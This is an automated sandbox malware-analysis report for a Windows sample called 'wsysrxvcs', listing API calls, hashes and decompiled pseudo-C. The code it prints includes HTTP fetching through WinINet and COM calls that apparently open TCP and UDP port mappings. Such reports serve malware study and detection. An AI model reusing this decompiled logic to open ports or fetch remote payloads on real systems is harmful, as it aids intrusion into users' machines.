                                                                                                                                                                                                                                                                                                                                                      0x0040e170
                                                                                                                                                                                                                                                                                                                                                      0x0040e172
                                                                                                                                                                                                                                                                                                                                                      0x0040e177
                                                                                                                                                                                                                                                                                                                                                      0x0040e180
                                                                                                                                                                                                                                                                                                                                                      0x0040e188
                                                                                                                                                                                                                                                                                                                                                      0x0040e1d7
                                                                                                                                                                                                                                                                                                                                                      0x0040e1d8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1e3
                                                                                                                                                                                                                                                                                                                                                      0x0040e18a
                                                                                                                                                                                                                                                                                                                                                      0x0040e198
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a9
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ac
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b1
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1bf
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1c9
                                                                                                                                                                                                                                                                                                                                                      0x0040e1cf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e19a
                                                                                                                                                                                                                                                                                                                                                      0x0040e19d
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a8
                                                                                                                                                                                                                                                                                                                                                      0x0040e198

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,0040E23C,?,?), ref: 0040E180
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E190
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E23C,?,?), ref: 0040E19D
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E23C,?,?), ref: 0040E1D8
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2223660684-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c9874fb6d9fb577f0698250319fea56f66a4ab3ec60cae6f6630c9a07f76bc5f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1a38f0e17db7eb758b10b49a703a570fb38b4efbf56ad3e1397e3e077cab9552
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c9874fb6d9fb577f0698250319fea56f66a4ab3ec60cae6f6630c9a07f76bc5f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E501D4756422049FC3209F23ED44AEB73A8AB84711B04483EE846E7681CB39E452CB68
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405B10 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000002,?,?,00406429), ref: 00405B18
                                                                                                                                                                                                                                                                                                                                                      • SysAllocString.OLEAUT32(00415290), ref: 00405B23
                                                                                                                                                                                                                                                                                                                                                      • CoUninitialize.OLE32 ref: 00405B48
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00405880: SysFreeString.OLEAUT32(00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00405B42
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: String$Free$AllocInitializeUninitialize
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 459949847-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2db787551f8400b5154615f23e1bb1221c69f356ee019b5dd6257dfff1719785
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9e918e232ba98e16205a9f08a9f1d69638b7faa6892c1a05ecbc2cf11cc7630f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2db787551f8400b5154615f23e1bb1221c69f356ee019b5dd6257dfff1719785
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79E01275941208FBD714ABE0EC0EBDD7778EB05305F5080A5F90556290D6B95E80CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405880 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 62%
                                                                                                                                                                                                                                                                                                                                                      			E00405880(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E00405830(0x411fec, 0x411ffc);
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E00405830(0x41200c, 0x41201c);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408B60(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

















                                                                                                                                                                                                                                                                                                                                                      0x00405886
                                                                                                                                                                                                                                                                                                                                                      0x0040588d
                                                                                                                                                                                                                                                                                                                                                      0x00405894
                                                                                                                                                                                                                                                                                                                                                      0x0040589b
                                                                                                                                                                                                                                                                                                                                                      0x004058a2
                                                                                                                                                                                                                                                                                                                                                      0x004058a9
                                                                                                                                                                                                                                                                                                                                                      0x004058b0
                                                                                                                                                                                                                                                                                                                                                      0x004058b7
                                                                                                                                                                                                                                                                                                                                                      0x004058c1
                                                                                                                                                                                                                                                                                                                                                      0x004058c6
                                                                                                                                                                                                                                                                                                                                                      0x004058c9
                                                                                                                                                                                                                                                                                                                                                      0x004058d0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004058da
                                                                                                                                                                                                                                                                                                                                                      0x004058e3
                                                                                                                                                                                                                                                                                                                                                      0x004058eb
                                                                                                                                                                                                                                                                                                                                                      0x004058f5
                                                                                                                                                                                                                                                                                                                                                      0x004058fe
                                                                                                                                                                                                                                                                                                                                                      0x00405906
                                                                                                                                                                                                                                                                                                                                                      0x00405910
                                                                                                                                                                                                                                                                                                                                                      0x00405919
                                                                                                                                                                                                                                                                                                                                                      0x00405921
                                                                                                                                                                                                                                                                                                                                                      0x0040592f
                                                                                                                                                                                                                                                                                                                                                      0x00405939
                                                                                                                                                                                                                                                                                                                                                      0x00405942
                                                                                                                                                                                                                                                                                                                                                      0x0040594a
                                                                                                                                                                                                                                                                                                                                                      0x00405954
                                                                                                                                                                                                                                                                                                                                                      0x00405958
                                                                                                                                                                                                                                                                                                                                                      0x00405961
                                                                                                                                                                                                                                                                                                                                                      0x00405969
                                                                                                                                                                                                                                                                                                                                                      0x004059f3
                                                                                                                                                                                                                                                                                                                                                      0x004059f8
                                                                                                                                                                                                                                                                                                                                                      0x004059fb
                                                                                                                                                                                                                                                                                                                                                      0x00405a02
                                                                                                                                                                                                                                                                                                                                                      0x00405a0b
                                                                                                                                                                                                                                                                                                                                                      0x00405a11
                                                                                                                                                                                                                                                                                                                                                      0x00405a18
                                                                                                                                                                                                                                                                                                                                                      0x00405a1f
                                                                                                                                                                                                                                                                                                                                                      0x00405a28
                                                                                                                                                                                                                                                                                                                                                      0x00405a30
                                                                                                                                                                                                                                                                                                                                                      0x00405a37
                                                                                                                                                                                                                                                                                                                                                      0x00405a40
                                                                                                                                                                                                                                                                                                                                                      0x00405a48
                                                                                                                                                                                                                                                                                                                                                      0x00405a5a
                                                                                                                                                                                                                                                                                                                                                      0x00405a5e
                                                                                                                                                                                                                                                                                                                                                      0x00405a72
                                                                                                                                                                                                                                                                                                                                                      0x00405a74
                                                                                                                                                                                                                                                                                                                                                      0x00405a76
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a7c
                                                                                                                                                                                                                                                                                                                                                      0x00405a80
                                                                                                                                                                                                                                                                                                                                                      0x00405a86
                                                                                                                                                                                                                                                                                                                                                      0x00405a8b
                                                                                                                                                                                                                                                                                                                                                      0x00405a92
                                                                                                                                                                                                                                                                                                                                                      0x00405a98
                                                                                                                                                                                                                                                                                                                                                      0x00405a98
                                                                                                                                                                                                                                                                                                                                                      0x00405aa2
                                                                                                                                                                                                                                                                                                                                                      0x00405ab0
                                                                                                                                                                                                                                                                                                                                                      0x00405ab0
                                                                                                                                                                                                                                                                                                                                                      0x00405ab6
                                                                                                                                                                                                                                                                                                                                                      0x00405ac4
                                                                                                                                                                                                                                                                                                                                                      0x00405ac4
                                                                                                                                                                                                                                                                                                                                                      0x00405aca
                                                                                                                                                                                                                                                                                                                                                      0x00405ad8
                                                                                                                                                                                                                                                                                                                                                      0x00405ad8
                                                                                                                                                                                                                                                                                                                                                      0x00405ade
                                                                                                                                                                                                                                                                                                                                                      0x00405aec
                                                                                                                                                                                                                                                                                                                                                      0x00405aec
                                                                                                                                                                                                                                                                                                                                                      0x00405af2
                                                                                                                                                                                                                                                                                                                                                      0x00405b05
                                                                                                                                                                                                                                                                                                                                                      0x00405af4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405b00
                                                                                                                                                                                                                                                                                                                                                      0x00405af2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a60
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a4a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a32
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a1a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a04
                                                                                                                                                                                                                                                                                                                                                      0x0040597b
                                                                                                                                                                                                                                                                                                                                                      0x0040597f
                                                                                                                                                                                                                                                                                                                                                      0x0040598d
                                                                                                                                                                                                                                                                                                                                                      0x004059d2
                                                                                                                                                                                                                                                                                                                                                      0x004059e2
                                                                                                                                                                                                                                                                                                                                                      0x0040598f
                                                                                                                                                                                                                                                                                                                                                      0x0040598f
                                                                                                                                                                                                                                                                                                                                                      0x004059a6
                                                                                                                                                                                                                                                                                                                                                      0x004059aa
                                                                                                                                                                                                                                                                                                                                                      0x004059c0
                                                                                                                                                                                                                                                                                                                                                      0x004059c0
                                                                                                                                                                                                                                                                                                                                                      0x004059c2
                                                                                                                                                                                                                                                                                                                                                      0x004059e4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040597f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040594c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405931
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405923
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405908
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004058ed
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00405830: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00405850
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateFreeInstanceString
                                                                                                                                                                                                                                                                                                                                                      • String ID: Microsoft Corporation
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 586785272-3838278685
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3535f275e0d98ec4a5296607280e851b25c45ee1d7c9a1f90e063708d69ceb67
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 55b1ef43589e7e732987ef2980dbe053c12765c6c5de1358ba9547e8818813c4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3535f275e0d98ec4a5296607280e851b25c45ee1d7c9a1f90e063708d69ceb67
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2E91C975A0050ADFCB04DB98C994EAFB7B5EF88314F208269E515B73A0D734AE41CFA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CB20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 66%
                                                                                                                                                                                                                                                                                                                                                      			E0040CB20(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C150(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040BEF0(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CAD0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040C9B0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B2D0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408B60(_v12);
				}
				return _v16;
			}


















                                                                                                                                                                                                                                                                                                                                                      0x0040cb26
                                                                                                                                                                                                                                                                                                                                                      0x0040cb35
                                                                                                                                                                                                                                                                                                                                                      0x0040cb3a
                                                                                                                                                                                                                                                                                                                                                      0x0040cb3d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb44
                                                                                                                                                                                                                                                                                                                                                      0x0040cb4e
                                                                                                                                                                                                                                                                                                                                                      0x0040cb53
                                                                                                                                                                                                                                                                                                                                                      0x0040cb56
                                                                                                                                                                                                                                                                                                                                                      0x0040cb5d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb63
                                                                                                                                                                                                                                                                                                                                                      0x0040cb6d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb76
                                                                                                                                                                                                                                                                                                                                                      0x0040cb81
                                                                                                                                                                                                                                                                                                                                                      0x0040cb91
                                                                                                                                                                                                                                                                                                                                                      0x0040cb9b
                                                                                                                                                                                                                                                                                                                                                      0x0040cba4
                                                                                                                                                                                                                                                                                                                                                      0x0040cbac
                                                                                                                                                                                                                                                                                                                                                      0x0040cbb8
                                                                                                                                                                                                                                                                                                                                                      0x0040cbbd
                                                                                                                                                                                                                                                                                                                                                      0x0040cbc0
                                                                                                                                                                                                                                                                                                                                                      0x0040cbc7
                                                                                                                                                                                                                                                                                                                                                      0x0040cbcd
                                                                                                                                                                                                                                                                                                                                                      0x0040cbd2
                                                                                                                                                                                                                                                                                                                                                      0x0040cbd5
                                                                                                                                                                                                                                                                                                                                                      0x0040cbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040cbef
                                                                                                                                                                                                                                                                                                                                                      0x0040cbf4
                                                                                                                                                                                                                                                                                                                                                      0x0040cbfb
                                                                                                                                                                                                                                                                                                                                                      0x0040cbfb
                                                                                                                                                                                                                                                                                                                                                      0x0040cc05
                                                                                                                                                                                                                                                                                                                                                      0x0040cc05
                                                                                                                                                                                                                                                                                                                                                      0x0040cc17
                                                                                                                                                                                                                                                                                                                                                      0x0040cc17
                                                                                                                                                                                                                                                                                                                                                      0x0040cc25
                                                                                                                                                                                                                                                                                                                                                      0x0040cc25
                                                                                                                                                                                                                                                                                                                                                      0x0040cc33
                                                                                                                                                                                                                                                                                                                                                      0x0040cc33
                                                                                                                                                                                                                                                                                                                                                      0x0040cc39
                                                                                                                                                                                                                                                                                                                                                      0x0040cc3e
                                                                                                                                                                                                                                                                                                                                                      0x0040cc47

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: memset.NTDLL ref: 0040C178
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetCrackUrlA.WININET(0040CF69,00000000,10000000,0000003C), ref: 0040C1C8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C1D8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C211
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C247
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C26F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C2B8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetCloseHandle.WININET(00000000), ref: 0040C347
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: SysAllocString.OLEAUT32(00000000), ref: 0040BF1E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: CoCreateInstance.OLE32(00410310,00000000,00004401,00410300,00000000), ref: 0040BF46
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: SysFreeString.OLEAUT32(00000000), ref: 0040BFE1
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040CBFB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040CC05
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: %S%S
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1017111014-3267608656
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a38dea6bde2a6c1c3ef69bbee25404c47646d531d2cdb2c4a4f616ee4be6345b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ff1727bfbbf61b23510921857e77fc7ec71979587a2f3b7cb3b9c6c376518cb7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a38dea6bde2a6c1c3ef69bbee25404c47646d531d2cdb2c4a4f616ee4be6345b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B3413AB5D00109DFDB04DFA4C885AEFB7B5BF48304F108669E509B7391D738AA81CBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CF10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040CF10() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2);
				_v12 = 0;
				_t20 = E0040C470( &_v12,  &_v12);
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CB20( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x4156dc = _t20;
						if( *0x4156dc == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409430();
						E0040CE90( *0x4156dc,  *0x4156dc, "TCP", 0x9e34, _v20);
						_t20 = E0040CE90( *0x4156dc,  *0x4156dc, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408C80(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040cf1a
                                                                                                                                                                                                                                                                                                                                                      0x0040cf20
                                                                                                                                                                                                                                                                                                                                                      0x0040cf2b
                                                                                                                                                                                                                                                                                                                                                      0x0040cf30
                                                                                                                                                                                                                                                                                                                                                      0x0040cf33
                                                                                                                                                                                                                                                                                                                                                      0x0040cf3a
                                                                                                                                                                                                                                                                                                                                                      0x0040cf40
                                                                                                                                                                                                                                                                                                                                                      0x0040cf52
                                                                                                                                                                                                                                                                                                                                                      0x0040cf64
                                                                                                                                                                                                                                                                                                                                                      0x0040cf69
                                                                                                                                                                                                                                                                                                                                                      0x0040cf6c
